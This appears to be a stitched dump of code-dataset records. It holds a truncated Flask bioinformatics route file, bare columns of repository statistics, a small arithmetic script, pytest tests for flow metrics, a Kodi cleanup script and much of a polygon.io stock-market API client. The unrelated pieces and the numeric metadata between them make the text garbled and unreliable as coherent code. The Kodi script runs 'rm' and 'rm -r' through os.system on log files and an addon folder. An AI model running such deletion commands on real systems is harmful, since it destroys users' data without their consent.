= pd.DataFrame(a, index=rows_labels, columns=columns_labels) # df.rename_axis("Row", axis="index") # df = pd.DataFrame(np.random.randn(6, 6), index=rows_labels[:6], columns=columns_labels[:6]) #with open("main/Service/rc_two_cats.txt") as myfile: # data = myfile.read() # data = pd.read_csv(myfile) # data = json.loads(response.text) # print(data) # string = df.astype(str) # return string # return loadFile.make_json_from_txt(data) example_json = loadFile.make_json_from_txt(df) json.dump(example_json, open("static/data/example_clustergram.json", 'w')) return example_json @app.route("/version") def version(): return make_response(open('static/versions-mapping.json').read()) #@app.route("/hello") #def hello(): # return "Hello World!" @app.route("/api/submitGeneToIlincs/<gene_name>")# example: bcl2a1 def submitGeneToIlincsMethod(gene_name): data = ilincsSearch.search_gene(gene_name) #data = json.load(urllib2.urlopen(link)) #return str(data) sigid = [] for item in data: sigid.append(str(item['signatureid'])) # printing all signatures associated with gene print sigid # getting concordant signatures for each id for id in sigid: con = [] dis = [] #link = "http://www.ilincs.org/api/SignatureMeta/findConcordantSignatures?sigID=%22" + str(id) + "%22&lib=%22LIB_5%22" #data = json.load(urllib2.urlopen(link)) data = ilincsSearch.search_sigid(id) for perturbagen in data: pid = str(perturbagen['perturbagenID']) sim = str(perturbagen['similarity']) # concordant if sim > 0.321: con.append(pid) # discordant elif sim < -0.235: dis.append(pid) return str(con) #print "\nsignature ---- > ", id, "concordant ----->", con, "discordant ------>", dis @app.route('/favicon.ico') def favicon(): return send_from_directory(os.path.join(app.root_path, 'static'), 'img/favicon.ico') # if __name__ == '__main__': # app.run(debug=True) if __name__ == "__main__": app.run()
50.201385
178
0.553339
27,415
188,456
3.721357
0.035309
0.030288
0.01235
0.023525
0.96389
0.958597
0.952735
0.911116
0.904686
0.896521
0
0.191411
0.212697
188,456
3,753
179
50.214762
0.496192
0.133336
0
0.87224
0
0.058632
0.513107
0.42176
0
0
0
0
0
0
null
null
0
0.005429
null
null
0.05067
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
1
0
0
1
0
0
0
1
null
0
0
0
0
1
0
0
0
0
0
0
0
0
10
a2bb325d46e25c9f5367dca23ae52aa9c3ce0ea3
193
py
Python
1/next_number.py
voodoopeople42/Vproject
349e80a0d3cfd590cb9dbe667acfbdb7393308e3
[ "MIT" ]
null
null
null
1/next_number.py
voodoopeople42/Vproject
349e80a0d3cfd590cb9dbe667acfbdb7393308e3
[ "MIT" ]
null
null
null
1/next_number.py
voodoopeople42/Vproject
349e80a0d3cfd590cb9dbe667acfbdb7393308e3
[ "MIT" ]
null
null
null
a = int(input("Input a number: ")) print ("The next number for the number " + str(a) + " is " + str(a + 1) + ".") print ("The next number for the number " + str(a) + " is " + str(a - 1) + ".")
48.25
78
0.533679
32
193
3.21875
0.34375
0.15534
0.23301
0.349515
0.796117
0.796117
0.796117
0.796117
0.796117
0.796117
0
0.013605
0.238342
193
4
79
48.25
0.687075
0
0
0
0
0
0.453608
0
0
0
0
0
0
1
0
false
0
0
0
0
0.666667
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
9
0c189afb04a663e4470aff1e5d143b7eff2d8522
8,454
py
Python
src/backend/tests/metrics/test_metrics_crud.py
rropen/rrflow
61bc4b0be4efbd840af8f7ad442922052d3e449c
[ "MIT" ]
null
null
null
src/backend/tests/metrics/test_metrics_crud.py
rropen/rrflow
61bc4b0be4efbd840af8f7ad442922052d3e449c
[ "MIT" ]
null
null
null
src/backend/tests/metrics/test_metrics_crud.py
rropen/rrflow
61bc4b0be4efbd840af8f7ad442922052d3e449c
[ "MIT" ]
null
null
null
import pytest from datetime import datetime, timedelta import rrflow.documents as documents import rrflow.routes.metrics.crud as crud import tests.utils as testing_utils def test_metric_velocity(session, db, mocker): program = documents.Program.objects.first() duration = timedelta(days=7) period = timedelta(days=1) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) # Test Velocity response = crud.flow_master(program, period, duration, "velocity") assert len(response["buckets"]) == 7 assert response["metric"] == "velocity" assert response["buckets"][0]["feature"] == 0 assert response["buckets"][4]["feature"] == 1 assert response["buckets"][5]["feature"] == 1 assert response["buckets"][0]["defect"] == 0 assert response["buckets"][5]["defect"] == 1 assert response["buckets"][5]["debt"] == 1 assert response["buckets"][0]["risk"] == 0 duration = timedelta(days=31) period = timedelta(days=7) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "velocity") assert len(response["buckets"]) == 5 assert response["metric"] == "velocity" assert response["buckets"][0]["feature"] == 0 assert response["buckets"][4]["feature"] == 2 assert response["buckets"][4]["defect"] == 1 assert response["buckets"][4]["debt"] == 1 assert response["buckets"][4]["risk"] == 0 duration = timedelta(days=31) period = timedelta(days=31) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "velocity") assert len(response["buckets"]) == 1 duration = timedelta(days=365) period = timedelta(days=31) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "velocity") assert len(response["buckets"]) == 12 assert response["buckets"][0]["feature"] == 0 assert response["buckets"][11]["feature"] == 2 assert response["buckets"][11]["defect"] == 1 assert response["buckets"][11]["debt"] == 1 assert response["buckets"][11]["risk"] == 0 def test_metric_time(session, db, mocker): program = documents.Program.objects.first() duration = timedelta(days=7) period = timedelta(days=1) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "time") assert response["metric"] == "time" assert response["buckets"][0]["feature"] == 0 assert response["buckets"][4]["feature"] == 259200 assert response["buckets"][5]["feature"] == 432000 assert response["buckets"][0]["defect"] == 0 assert response["buckets"][5]["defect"] == 432000 assert response["buckets"][5]["debt"] == 432000 assert response["buckets"][3]["risk"] == 0 duration = timedelta(days=31) period = timedelta(days=7) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "time") assert response["metric"] == "time" assert response["buckets"][2]["debt"] == 0 assert response["buckets"][4]["feature"] == 345600 assert response["buckets"][4]["defect"] == 432000 assert response["buckets"][4]["debt"] == 432000 assert response["buckets"][4]["risk"] == 0 def test_metric_efficiency(session, db, mocker): program = documents.Program.objects.first() duration = timedelta(days=7) period = timedelta(days=1) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "efficiency") assert response["metric"] == "efficiency" assert response["buckets"][0]["feature"] == 0 assert response["buckets"][4]["feature"] == 0.5 assert response["buckets"][5]["feature"] == 0.2 assert response["buckets"][0]["defect"] == 0 assert response["buckets"][5]["defect"] == 0.1 assert response["buckets"][5]["debt"] == 0.05 assert response["buckets"][3]["risk"] == 0 duration = timedelta(days=31) period = timedelta(days=7) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "efficiency") assert response["metric"] == "efficiency" assert response["buckets"][2]["debt"] == 0 assert response["buckets"][4]["feature"] == 0.35 assert response["buckets"][4]["defect"] == 0.1 assert response["buckets"][4]["debt"] == 0.05 assert response["buckets"][4]["risk"] == 0 def test_metric_load(session, db, mocker): program = documents.Program.objects.first() duration = timedelta(days=7) period = timedelta(days=1) response = crud.flow_load(program) assert response["metric"] == "load" assert response["currentLoad"]["feature"] == 1 assert response["currentLoad"]["defect"] == 1 assert response["currentLoad"]["debt"] == 1 assert response["currentLoad"]["risk"] == 1 def test_metric_distribution(session, db, mocker): program = documents.Program.objects.first() duration = timedelta(days=7) period = timedelta(days=1) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "distribution") assert response["metric"] == "distribution" assert response["buckets"][0]["feature"] == 0 assert response["buckets"][4]["feature"] == 1 assert response["buckets"][5]["feature"] == 1/3 assert response["buckets"][0]["defect"] == 0 assert response["buckets"][5]["defect"] == 1/3 assert response["buckets"][5]["debt"] == 1/3 assert response["buckets"][3]["risk"] == 0 duration = timedelta(days=31) period = timedelta(days=7) mocker.patch('rrflow.routes.metrics.crud.duration_filter', return_value=testing_utils.mock_duration_filter(program, duration)) mocker.patch('rrflow.routes.metrics.crud.bucket_closed_by_period', return_value=testing_utils.mock_bucket_closed_by_period(program, period, duration)) response = crud.flow_master(program, period, duration, "distribution") assert response["metric"] == "distribution" assert response["buckets"][2]["debt"] == 0 assert response["buckets"][4]["feature"] == 0.5 assert response["buckets"][4]["defect"] == 0.25 assert response["buckets"][4]["debt"] == 0.25 assert response["buckets"][4]["risk"] == 0
52.185185
154
0.708777
1,057
8,454
5.51561
0.063387
0.158491
0.190909
0.082847
0.922642
0.871012
0.826587
0.826587
0.826587
0.799314
0
0.02766
0.13189
8,454
162
155
52.185185
0.766726
0.001538
0
0.637681
0
0
0.223815
0.109005
0
0
0
0
0.507246
1
0.036232
false
0
0.036232
0
0.072464
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
0c24a1c67a77a365c799465c9075bdde6c9b9d47
187
py
Python
Config-Scripts/service.autoexec/resources/delete-everything.py
joy-it/MultimediaCase-for-Raspberry-Pi
909522521b2d53175b8460d9ef5bb1a51cfaec44
[ "MIT" ]
9
2020-12-29T22:17:13.000Z
2021-12-14T09:12:47.000Z
Config-Scripts/service.autoexec/resources/delete-everything.py
joy-it/MultimediaCase-for-Raspberry-Pi
909522521b2d53175b8460d9ef5bb1a51cfaec44
[ "MIT" ]
null
null
null
Config-Scripts/service.autoexec/resources/delete-everything.py
joy-it/MultimediaCase-for-Raspberry-Pi
909522521b2d53175b8460d9ef5bb1a51cfaec44
[ "MIT" ]
2
2021-12-07T15:55:35.000Z
2022-03-21T11:43:43.000Z
import os os.system("rm /storage/IRlog.txt") os.system("rm /storage/.kodi/temp/kodi.log && rm /storage/.kodi/temp/kodi.old.log") os.system("rm -r /storage/.kodi/addons/service.autoexec")
37.4
83
0.721925
32
187
4.21875
0.46875
0.177778
0.222222
0.251852
0.311111
0
0
0
0
0
0
0
0.064171
187
4
84
46.75
0.771429
0
0
0
0
0.25
0.721925
0.524064
0
0
0
0
0
1
0
true
0
0.25
0
0.25
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
0c2d75560eff88ed398333562f1a837a74278047
50,775
py
Python
polygon/stocks/stocks.py
pssolanki111/polygon
99c90950a116f78fdfd8096e354153752c6cdd95
[ "MIT" ]
20
2021-08-29T10:06:00.000Z
2022-03-22T07:30:01.000Z
polygon/stocks/stocks.py
pssolanki111/polygon
99c90950a116f78fdfd8096e354153752c6cdd95
[ "MIT" ]
1
2022-02-16T19:03:12.000Z
2022-02-25T06:13:51.000Z
polygon/stocks/stocks.py
pssolanki111/polygon
99c90950a116f78fdfd8096e354153752c6cdd95
[ "MIT" ]
3
2022-01-25T03:34:07.000Z
2022-02-08T15:06:11.000Z
# ========================================================= # from .. import base_client from typing import Union import datetime from requests.models import Response from httpx import Response as HttpxResponse # ========================================================= # def StocksClient(api_key: str, use_async: bool = False, connect_timeout: int = 10, read_timeout: int = 10): """ Initiates a Client to be used to access all REST Stocks endpoints. :param api_key: Your API Key. Visit your dashboard to get yours. :param use_async: Set it to ``True`` to get async client. Defaults to usual non-async client. :param connect_timeout: The connection timeout in seconds. Defaults to 10. basically the number of seconds to wait for a connection to be established. Raises a ``ConnectTimeout`` if unable to connect within specified time limit. :param read_timeout: The read timeout in seconds. Defaults to 10. basically the number of seconds to wait for date to be received. Raises a ``ReadTimeout`` if unable to connect within the specified time limit. """ if not use_async: return SyncStocksClient(api_key, connect_timeout, read_timeout) return AsyncStocksClient(api_key, connect_timeout, read_timeout) # ========================================================= # class SyncStocksClient(base_client.BaseClient): """ These docs are not meant for general users. These are library API references. The actual docs will be available on the index page when they are prepared. This class implements all the Stocks REST endpoints. Note that you should always import names from top level. eg: ``from polygon import StocksClient`` or ``import polygon`` (which allows you to access all names easily) """ def __init__(self, api_key: str, connect_timeout: int = 10, read_timeout: int = 10): super().__init__(api_key, connect_timeout, read_timeout) # Endpoints def get_trades(self, symbol: str, date, timestamp: int = None, timestamp_limit: int = None, reverse: bool = True, limit: int = 5000, raw_response: bool = False) -> Union[Response, dict]: """ Get trades for a given ticker symbol on a specified date. The response from polygon seems to have a ``map`` attribute which gives a mapping of attribute names to readable values. `Official Docs <https://polygon.io/docs/get_v2_ticks_stocks_trades__ticker___date__anchor>`__ :param symbol: The ticker symbol we want trades for. :param date: The date/day of the trades to retrieve. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param timestamp: The timestamp offset, used for pagination. Timestamp is the offset at which to start the results. Using the ``timestamp`` of the last result as the offset will give you the next page of results. Default: None. I'm trying to think of a good way to implement pagination support for this type of pagination. :param timestamp_limit: The maximum timestamp allowed in the results. Default: None :param reverse: Reverse the order of the results. Default True: oldest first. Make it False for Newest first :param limit: Limit the size of the response, max 50000 and default 5000. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(date, (datetime.date, datetime.datetime)): date = date.strftime('%Y-%m-%d') _path = f'/v2/ticks/stocks/trades/{symbol.upper()}/{date}' _data = {'timestamp': timestamp, 'timestampimit': timestamp_limit, 'reverse': 'true' if reverse else 'false', 'limit': limit} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_trades_vx(self, symbol: str, timestamp: int = None, order=None, sort=None, limit: int = 5000, timestamp_lt=None, timestamp_lte=None, timestamp_gt=None, timestamp_gte=None, raw_response: bool = False) -> Union[Response, dict]: """ Get trades for a ticker symbol in a given time range. `Official Docs <https://polygon.io/docs/get_vX_trades__stockTicker__anchor>`__ :param symbol: The ticker symbol you want trades for. :param timestamp: Query by trade timestamp. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` or a nanosecond timestamp :param order: sort order. see :class:`polygon.enums.SortOrder` for available choices. defaults to None :param sort: field key to sort against. Defaults to None. see :class:`polygon.enums.StocksTradesSort` for choices :param limit: Limit the size of the response, max 50000 and default 5000. :param timestamp_lt: return results where timestamp is less than the given value. Can be date or date string. :param timestamp_lte: return results where timestamp is less than/equal to the given value. Can be date or date string. :param timestamp_gt: return results where timestamp is greater than the given value. Can be date or date string. :param timestamp_gte: return results where timestamp is greater than/equal to the given value. Can be date or date string. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(timestamp, (datetime.date, datetime.datetime)): timestamp = timestamp.strftime('%Y-%m-%d') if isinstance(timestamp_lt, (datetime.date, datetime.datetime)): timestamp_lt = timestamp_lt.strftime('%Y-%m-%d') if isinstance(timestamp_lte, (datetime.date, datetime.datetime)): timestamp_lte = timestamp_lte.strftime('%Y-%m-%d') if isinstance(timestamp_gt, (datetime.date, datetime.datetime)): timestamp_gt = timestamp_gt.strftime('%Y-%m-%d') if isinstance(timestamp_gte, (datetime.date, datetime.datetime)): timestamp_gte = timestamp_gte.strftime('%Y-%m-%d') _path = f'/vX/trades/{symbol}' _data = {'timestamp': timestamp, 'timestamp_lt': timestamp_lt, 'timestamp_lte': timestamp_lte, 'timestamp_gt': timestamp_gt, 'timestamp_gte': timestamp_gte, 'limit': limit, 'sort': self._change_enum(sort, str), 'order': self._change_enum(order, str)} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_quotes(self, symbol: str, date, timestamp: int = None, timestamp_limit: int = None, reverse: bool = True, limit: int = 5000, raw_response: bool = False) -> Union[Response, dict]: """ Get Quotes for a given ticker symbol on a specified date. The response from polygon seems to have a ``map`` attribute which gives a mapping of attribute names to readable values. `Official Docs <https://polygon.io/docs/get_v2_ticks_stocks_nbbo__ticker___date__anchor>`__ :param symbol: The ticker symbol we want quotes for. :param date: The date/day of the quotes to retrieve. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param timestamp: The timestamp offset, used for pagination. Timestamp is the offset at which to start the results. Using the ``timestamp`` of the last result as the offset will give you the next page of results. Default: None. Thinking of a good way to implement this pagination here. :param timestamp_limit: The maximum timestamp allowed in the results. Default: None :param reverse: Reverse the order of the results. Default True: oldest first. Make it False for Newest first :param limit: Limit the size of the response, max 50000 and default 5000. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(date, (datetime.date, datetime.datetime)): date = date.strftime('%Y-%m-%d') _path = f'/v2/ticks/stocks/nbbo/{symbol.upper()}/{date}' _data = {'timestamp': timestamp, 'timestampimit': timestamp_limit, 'reverse': 'true' if reverse else 'false', 'limit': limit} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_quotes_vx(self, symbol: str, timestamp: int = None, order=None, sort=None, limit: int = 5000, timestamp_lt=None, timestamp_lte=None, timestamp_gt=None, timestamp_gte=None, raw_response: bool = False) -> Union[Response, dict]: """ Get NBBO Quotes for a ticker symbol in a given time range. `Official Docs <https://polygon.io/docs/get_vX_quotes__stockTicker__anchor>`__ :param symbol: The ticker symbol you want quotes for. :param timestamp: Query by trade timestamp. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` or a nanosecond timestamp :param order: sort order. see :class:`polygon.enums.SortOrder` for available choices. defaults to None :param sort: field key to sort against. Defaults to None. see :class:`polygon.enums.StocksQuotesSort` for choices :param limit: Limit the size of the response, max 50000 and default 5000. :param timestamp_lt: return results where timestamp is less than the given value. Can be date or date string. :param timestamp_lte: return results where timestamp is less than/equal to the given value. Can be date or date string. :param timestamp_gt: return results where timestamp is greater than the given value. Can be date or date string. :param timestamp_gte: return results where timestamp is greater than/equal to the given value. Can be date or date string. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(timestamp, (datetime.date, datetime.datetime)): timestamp = timestamp.strftime('%Y-%m-%d') if isinstance(timestamp_lt, (datetime.date, datetime.datetime)): timestamp_lt = timestamp_lt.strftime('%Y-%m-%d') if isinstance(timestamp_lte, (datetime.date, datetime.datetime)): timestamp_lte = timestamp_lte.strftime('%Y-%m-%d') if isinstance(timestamp_gt, (datetime.date, datetime.datetime)): timestamp_gt = timestamp_gt.strftime('%Y-%m-%d') if isinstance(timestamp_gte, (datetime.date, datetime.datetime)): timestamp_gte = timestamp_gte.strftime('%Y-%m-%d') _path = f'/vX/quotes/{symbol}' _data = {'timestamp': timestamp, 'timestamp_lt': timestamp_lt, 'timestamp_lte': timestamp_lte, 'timestamp_gt': timestamp_gt, 'timestamp_gte': timestamp_gte, 'limit': limit, 'sort': self._change_enum(sort, str), 'order': self._change_enum(order, str)} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_last_trade(self, symbol: str, raw_response: bool = False) -> Union[Response, dict]: """ Get the most recent trade for a given stock. `Official Docs <https://polygon.io/docs/get_v2_last_trade__stocksTicker__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/last/trade/{symbol.upper()}' _res = self._get_response(_path) if raw_response: return _res return _res.json() def get_last_quote(self, symbol: str, raw_response: bool = False) -> Union[Response, dict]: """ Get the most recent NBBO (Quote) tick for a given stock. `Official Docs <https://polygon.io/docs/get_v2_last_nbbo__stocksTicker__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/last/nbbo/{symbol.upper()}' _res = self._get_response(_path) if raw_response: return _res return _res.json() def get_daily_open_close(self, symbol: str, date, adjusted: bool = True, raw_response: bool = False) -> Union[Response, dict]: """ Get the OCHLV and after-hours prices of a stock symbol on a certain date. `Official Docs <https://polygon.io/docs/get_v1_open-close__stocksTicker___date__anchor>`__ :param symbol: The ticker symbol we want daily-OCHLV for. :param date: The date/day of the daily-OCHLV to retrieve. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param adjusted: Whether or not the results are adjusted for splits. By default, results are adjusted. Set this to false to get results that are NOT adjusted for splits. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(date, (datetime.date, datetime.datetime)): date = date.strftime('%Y-%m-%d') _path = f'/v1/open-close/{symbol.upper()}/{date}' _data = {'adjusted': 'true' if adjusted else 'false'} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_aggregate_bars(self, symbol: str, from_date, to_date, adjusted: bool = True, sort='asc', limit: int = 5000, multiplier: int = 1, timespan='day', raw_response: bool = False) -> Union[Response, dict]: """ Get aggregate bars for a stock over a given date range in custom time window sizes. For example, if ``timespan = ‘minute’`` and ``multiplier = ‘5’`` then 5-minute bars will be returned. `Official Docs <https://polygon.io/docs/get_v2_aggs_ticker__stocksTicker__range__multiplier___timespan___from___to__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param from_date: The start of the aggregate time window. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param to_date: The end of the aggregate time window. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param adjusted: Whether or not the results are adjusted for splits. By default, results are adjusted. Set this to false to get results that are NOT adjusted for splits. :param sort: Sort the results by timestamp. See :class:`polygon.enums.SortOrder` for choices. ``asc`` default. :param limit: Limits the number of base aggregates queried to create the aggregate results. Max 50000 and Default 5000. :param multiplier: The size of the timespan multiplier. Must be a positive whole number. :param timespan: The size of the time window. See :class:`polygon.enums.Timespan` for choices. defaults to ``day`` :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(from_date, (datetime.date, datetime.datetime)): from_date = from_date.strftime('%Y-%m-%d') if isinstance(to_date, (datetime.date, datetime.datetime)): to_date = to_date.strftime('%Y-%m-%d') timespan, sort = self._change_enum(timespan, str), self._change_enum(sort, str) _path = f'/v2/aggs/ticker/{symbol.upper()}/range/{multiplier}/{timespan}/{from_date}/{to_date}' _data = {'adjusted': 'true' if adjusted else 'false', 'sort': sort, 'limit': limit} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_grouped_daily_bars(self, date, adjusted: bool = True, raw_response: bool = False) -> Union[Response, dict]: """ Get the daily OCHLV for the entire stocks/equities markets. `Official docs <https://polygon.io/docs/get_v2_aggs_grouped_locale_us_market_stocks__date__anchor>`__ :param date: The date to get the data for. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param adjusted: Whether or not the results are adjusted for splits. By default, results are adjusted. Set this to false to get results that are NOT adjusted for splits. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(date, (datetime.date, datetime.datetime)): date = date.strftime('%Y-%m-%d') _path = f'/v2/aggs/grouped/locale/us/market/stocks/{date}' _data = {'adjusted': 'true' if adjusted else 'false'} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_previous_close(self, symbol: str, adjusted: bool = True, raw_response: bool = False) -> Union[Response, dict]: """ Get the previous day's OCHLV for the specified stock ticker. `Official Docs <https://polygon.io/docs/get_v2_aggs_ticker__stocksTicker__prev_anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param adjusted: Whether or not the results are adjusted for splits. By default, results are adjusted. Set this to false to get results that are NOT adjusted for splits. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/aggs/ticker/{symbol.upper()}/prev' _data = {'adjusted': 'true' if adjusted else 'false'} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_snapshot(self, symbol: str, raw_response: bool = False) -> Union[Response, dict]: """ Get the current minute, day, and previous day’s aggregate, as well as the last trade and quote for a single traded stock ticker. `Official Docs <https://polygon.io/docs/get_v2_snapshot_locale_us_markets_stocks_tickers__stocksTicker__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/snapshot/locale/us/markets/stocks/tickers/{symbol.upper()}' _res = self._get_response(_path) if raw_response: return _res return _res.json() def get_current_price(self, symbol: str) -> float: """ get current market price for the ticker symbol specified. Uses :meth:`get_last_trade` under the hood `Official Docs <https://polygon.io/docs/get_v2_last_trade__stocksTicker__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :return: The current price. A ``KeyError`` indicates the request wasn't successful. """ _res = self.get_last_trade(symbol) try: return _res['results']['p'] except KeyError: raise ValueError('Request failed. Make sure your API key is correct and your subscription has access to ' f'the data you requested. Response from the API: {_res}') def get_snapshot_all(self, symbols: list = None, raw_response: bool = False) -> Union[Response, dict]: """ Get the current minute, day, and previous day’s aggregate, as well as the last trade and quote for all traded stock symbols. `Official Docs <https://polygon.io/docs/get_v2_snapshot_locale_us_markets_stocks_tickers_anchor>`__ :param symbols: A comma separated list of tickers to get snapshots for. Defaults to ALL tickers :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/snapshot/locale/us/markets/stocks/tickers' if symbols is not None: _data = {'tickers': ','.join([x.upper() for x in symbols])} else: _data = {'tickers': None} _res = self._get_response(_path, params=_data) if raw_response: return _res return _res.json() def get_gainers_and_losers(self, direction='gainers', raw_response: bool = False) -> Union[Response, dict]: """ Get the current top 20 gainers or losers of the day in stocks/equities markets. `Official Docs <https://polygon.io/docs/get_v2_snapshot_locale_us_markets_stocks__direction__anchor>`__ :param direction: The direction of results. Defaults to gainers. See :class:`polygon.enums.SnapshotDirection` for choices :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/snapshot/locale/us/markets/stocks/{self._change_enum(direction, str)}' _res = self._get_response(_path) if raw_response: return _res return _res.json() # ========================================================= # class AsyncStocksClient(base_client.BaseAsyncClient): """ These docs are not meant for general users. These are library API references. The actual docs will be available on the index page when they are prepared. This class implements all the Stocks REST endpoints. Note that you should always import names from top level. eg: ``from polygon import StocksClient`` or ``import polygon`` (which allows you to access all names easily) """ def __init__(self, api_key: str, connect_timeout: int = 10, read_timeout: int = 10): super().__init__(api_key, connect_timeout, read_timeout) # Endpoints async def get_trades(self, symbol: str, date, timestamp: int = None, timestamp_limit: int = None, reverse: bool = True, limit: int = 5000, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get trades for a given ticker symbol on a specified date. The response from polygon seems to have a ``map`` attribute which gives a mapping of attribute names to readable values - Async method `Official Docs <https://polygon.io/docs/get_v2_ticks_stocks_trades__ticker___date__anchor>`__ :param symbol: The ticker symbol we want trades for. :param date: The date/day of the trades to retrieve. 